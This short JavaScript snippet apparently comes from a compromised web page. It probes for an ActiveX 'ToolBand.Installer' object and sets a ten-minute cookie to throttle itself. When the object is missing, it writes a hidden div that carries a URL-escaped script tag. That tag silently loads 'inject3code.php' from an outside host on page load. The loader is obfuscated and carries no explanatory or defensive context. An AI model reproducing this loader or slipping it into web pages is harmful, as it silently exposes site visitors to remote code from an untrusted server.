function setPPC() {    var _ex = new Date();    var _ext = _ex.getTime()+600*1000;    _ex.setTime(_ext);    document.cookie = 'lastPP=1; expires='+_ex.toGMTString();    if (document.cookie) {        return true;    }    return false;}function getPPC() {    var c = document.cookie;    if (!c) return false;    var cValues = c.split(';');    for(i=0;i<cValues.length;i++) {        if (cValues[i].match(/lastPP/)) {            return true;        }    }    return false;}var myobj;try {    myobj = new ActiveXObject('ToolBand.Installer');}catch(e) {    if (!getPPC()) {        setPPC();        document.write(unescape('<div style=\"display:none\">%3cscript src=\"http://diy.51.net/partner/inject3code.php\"%3e%3c/script%3e</div>'));    }}